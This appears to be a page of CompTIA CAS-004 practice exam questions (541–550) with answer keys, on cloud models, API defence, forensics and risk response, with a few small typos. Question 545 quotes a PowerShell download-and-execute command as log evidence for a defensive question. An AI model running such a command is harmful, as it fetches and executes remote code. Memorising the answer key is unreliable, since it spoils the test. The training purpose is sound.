CompTIA CompTIA Certifications CAS-004 Questions & Answers

• Question 541:

  A Chief Information Officer (CIO) wants to implement a cloud solution that will satisfy the following requirements:

  1.

  Support all phases of the SDLC.

  2.

  Use tailored website portal software.

  3.

  Allow the company to build and use its own gateway software.

  4.

  Utilize its own data management platform.

  5.

  Continue using agent-based security tools.

  Which of the following cloud-computing models should the CIO implement?

  A. SaaS

  B. PaaS

  C. MaaS

  D. IaaS

  Correct Answer: B

• Question 542:

  A development team created a mobile application that contacts a company's back-end APIs housed in a PaaS environment. The APIs have been experiencing high processor utilization due to scraping activities. The security engineer needs to recommend a solution that will prevent and remedy the behavior.

  Which of the following would BEST safeguard the APIs? (Choose two.)

  A. Bot protection

  B. OAuth 2.0

  C. Input validation

  D. Autoscaling endpoints

  E. Rate limiting

  F. CSRF protection

  Correct Answer: AE

• Question 543:

  An organization's existing infrastructure includes site-to-site VPNs between datacenters. In the past year, a sophisticated attacker exploited a zero-day vulnerability on the VPN concentrator. Consequently, the Chief Information Security Officer (CISO) is making infrastructure changes to mitigate the risk of service loss should another zero-day exploit be used against the VPN solution.

  Which of the following designs would be BEST for the CISO to use?

  A. Adding a second redundant layer of alternate vendor VPN concentrators

  B. Using Base64 encoding within the existing site-to-site VPN connections

  C. Distributing security resources across VPN sites

  D. Implementing IDS services with each VPN concentrator

  E. Transitioning to a container-based architecture for site-based services

  Correct Answer: A

  If on VPN concentrator goes down due to a zero day threat, having a redundant VPN concentrator of a different vendor should keep you going.

• Question 544:

  A local government that is investigating a data exfiltration claim was asked to review the fingerprint of the malicious user's actions. An investigator took a forensic image of the VM and downloaded the image to a secured USB drive to share with the government.

  Which of the following should be taken into consideration during the process of releasing the drive to the government?

  A. Encryption in transit

  B. Legal issues

  C. Chain of custody

  D. Order of volatility E. Key exchange

  Correct Answer: C

• Question 545:

  A security analyst has noticed a steady increase in the number of failed login attempts to the external-facing mail server. During an investigation of one of the jump boxes, the analyst identified the following in the log file:

  powershell "IEX(New-Object Net.WebClient).DownloadString (`https://content.comptia.org/casp/whois.psl');whois"

  Which of the following security controls would have alerted and prevented the next phase of the attack?

  A. Antivirus and UEBA

  B. Reverse proxy and sandbox

  C. EDR and application approved list

  D. Forward proxy and MFA

  Correct Answer: C

  An EDR and whitelist should protect from this attack.

• Question 546:

  As part of its risk strategy, a company is considering buying insurance for cybersecurity incidents. Which of the following BEST describes this kind of risk response?

  A. Risk rejection

  B. Risk mitigation

  C. Risk transference

  D. Risk avoidance

  Correct Answer: C

  Reference: https://hbr.org/2021/01/cybersecurity-insurance-has-a-big-problem

• Question 547:

  A company's Chief Information Officer wants to implement IDS software onto the current system's architecture to provide an additional layer of security. The software must be able to monitor system activity, provide information on attempted attacks, and provide analysis of malicious activities to determine termine the processes or users involved.

  Which of the following would provide this information?

  A. HIPS

  B. UEBA

  C. HIDS

  D. NIDS

  Correct Answer: C

  Reference: https://www.sciencedirect.com/topics/computer-science/host-based-intrusion-detection-systems

• Question 548:

  A DevOps team has deployed databases, event-driven services, and an API gateway as PaaS solution that will support a new billing system. Which of the following security responsibilities will the DevOps team need to perform?

  A. Securely configure the authentication mechanisms.

  B. Patch the infrastructure at the operating system.

  C. Execute port scanning against the services.

  D. Upgrade the service as part of life-cycle management.

  Correct Answer: A

• Question 549:

  A forensic investigator would use the foremost command for:

  A. cloning disks.

  B. analyzing network-captured packets.

  C. recovering lost files.

  D. extracting features such as email addresses.

  Correct Answer: C

  Reference: https://www.networkworld.com/article/2333727/foremost--a-linux-computer-forensics-tool.html

• Question 550:

  The Chief Information Security Officer of a startup company has asked a security engineer to implement a software security program in an environment that prev that previously had little oversight. Which of the following testing methods would be BEST for the engineer to utilize in this situation?

  A. Software composition analysis

  B. Code obfuscation

  C. Static analysis

  D. Dynamic analysis

  Correct Answer: C